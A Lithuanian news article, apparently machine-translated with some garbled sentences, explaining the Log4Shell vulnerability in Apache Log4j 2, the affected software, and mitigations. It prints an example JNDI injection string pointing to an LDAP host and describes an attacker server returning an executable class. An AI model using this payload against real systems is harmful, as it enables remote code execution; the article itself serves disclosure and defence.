„Log4Shell“ – kritinis „Apache Log4j 2“ pažeidžiamumas, turintis įtakos daugeliui „Java“ projektų

Neseniai se paskelbė žinią, kad „Apache Log4j 2“ buvo nustatytas kritinis pažeidžiamumas, kuri apibūdinama kaip populiari sistema, skirta tvarkyti registrą „Java“ programose, leidžianti vykdyti savavališką kodą, kai į registrą įrašoma specialiai suformatuota reikšmė „{jndi: URL}“ formatu.

Pažeidžiamumas Tai pastebima, nes ataka gali būti vykdoma Java programose, kuriosJie įrašo vertes, gautas iš išorinių šaltinių, pavyzdžiui, rodydami problemines reikšmes klaidų pranešimuose.

Pastebima, kad paveikiami beveik visi projektai, kuriuose naudojamos tokios sistemos kaip „Apache Struts“, „Apache Solr“, „Apache Druid“ ar „Apache Flink“, įskaitant „Steam“, „Apple iCloud“, „Minecraft“ klientus ir serverius.

Tikimasi, kad dėl pažeidžiamumo kils didžiulių atakų prieš verslo programas banga, pakartojanti kritinių sistemos „Apache Struts“ pažeidžiamumų istoriją, kuri yra apytiksliai naudojama 65 % „Fortune 100“ žiniatinklio programų. Bendrovės žiniatinklio programos jau buvo įtrauktos užfiksuoti bandymai nuskaityti tinklą, ar nėra pažeidžiamų sistemų.

Pažeidžiamumas leidžia nuotoliniu būdu vykdyti neautentifikuotą kodą. „Log4j 2“ yra atvirojo kodo „Java“ žurnalų biblioteka, kurią sukūrė „Apache Foundation“. Log4j 2 yra plačiai naudojamas daugelyje programų ir yra daugelio paslaugų priklausomybė. Tai apima verslo programas ir daugybę debesų paslaugų.

Randori atakų komanda sukūrė funkcinį išnaudojimą ir sugebėjo sėkmingai išnaudoti šį pažeidžiamumą klientų aplinkoje kaip mūsų įžeidžiančios saugos platformos dalį. 

Pažeidžiamumą galima pasiekti naudojant daugybę konkrečios programos metodų. Iš tiesų, bet koks scenarijus, leidžiantis nuotoliniu būdu pateikti savavališkus duomenis, kuriuos programa, naudojanti Log4j biblioteką, įrašo į žurnalo failus, gali būti išnaudojama. Labai tikėtina, kad šis pažeidžiamumas bus išnaudotas laukinėje gamtoje ir gali turėti įtakos tūkstančiams organizacijų. Šis pažeidžiamumas kelia didelę realią riziką paveiktoms sistemoms.

Problemą apsunkina tai, kad jau yra paskelbtas funkcinis išnaudojimas, pvz.Tačiau stabilių šakų pataisymai dar nesukurti. CVE identifikatorius dar nepriskirtas. Sprendimas įtrauktas tik į log4j-2.15.0-rc1 bandymo šaką. Norint užblokuoti pažeidžiamumą, rekomenduojama parametrą Log4j2.formatMsgNoLookups nustatyti kaip true.

Problema taip buvo dėl to, kad Log4j 2 palaiko specialių kaukių «{}» tvarkymą žurnalo eilutėse, kuriame Galima vykdyti JNDI užklausas („Java“ pavadinimo ir katalogų sąsaja).

Analizuodama CVE-2021-44228, Randori nustatė:

Numatytieji plačiai naudojamos verslo programinės įrangos diegimai yra pažeidžiami.
Pažeidžiamumu galima išnaudoti patikimai ir be autentifikavimo.
Pažeidžiamumas paveikia kelias Log4j 2 versijas.
Pažeidžiamumas leidžia nuotoliniu būdu vykdyti kodą, kai vartotojas paleidžia programą naudodamas biblioteką.

Ataka baigiasi perduodant eilutę su pakaitalu „$ {jndi: ldap: //example.com/a}“, kurią apdorojant „Log4j 2“ nusiųs LDAP užklausą dėl kelio į „Java“ klasę į attacker.com serverį. . Užpuoliko serverio grąžintas kelias (pvz., http://example.com/Exploit.class) bus įkeltas ir vykdomas dabartinio proceso kontekste, todėl užpuolikas gali pasiekti savavališko kodo vykdymą sistemoje su teisėmis. dabartinės programos.

Galiausiai minimas tas jei nustatomi anomalijos, rekomenduojama manyti, kad tai yra aktyvus incidentas, kad jis buvo pažeistas, ir atitinkamai reaguoti. Naujovinimas į pataisytas Log4j 2 versijas arba paveiktas programas pašalins šį pažeidžiamumą. Randori rekomenduoja bet kuriai organizacijai, kuri, jos manymu, gali būti paveikta, skubiai atnaujinti į pataisytą versiją.

Naujausiame Apache Log4j komandos atnaujinime, rekomenduojame organizacijoms atlikti šiuos veiksmus

  • Atnaujinkite į Log4j 2.15.0
  • Tiems, kurie negali atnaujinti į 2.15.0: versijose> = 2.10, šis pažeidžiamumas gali būti sumažintas nustatant sistemos ypatybę log4j2.formatMsgNoLookup arba aplinkos kintamąjį LOG4J_FORMAT_MSG_NO_LOOKUPS į true.
  • Versijose nuo 2,0-beta9 iki 2.10.0 galima sumažinti JndiLookup klasę iš klasės kelio: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.

Fuente: https://www.lunasec.io/


Palikite komentarą

Jūsų elektroninio pašto adresas nebus skelbiamas. Privalomi laukai yra pažymėti *

*

*

  1. Atsakingas už duomenis: Miguel Ángel Gatón
  2. Duomenų paskirtis: kontroliuoti šlamštą, komentarų valdymą.
  3. Įteisinimas: jūsų sutikimas
  4. Duomenų perdavimas: Duomenys nebus perduoti trečiosioms šalims, išskyrus teisinius įsipareigojimus.
  5. Duomenų saugojimas: „Occentus Networks“ (ES) talpinama duomenų bazė
  6. Teisės: bet kuriuo metu galite apriboti, atkurti ir ištrinti savo informaciją.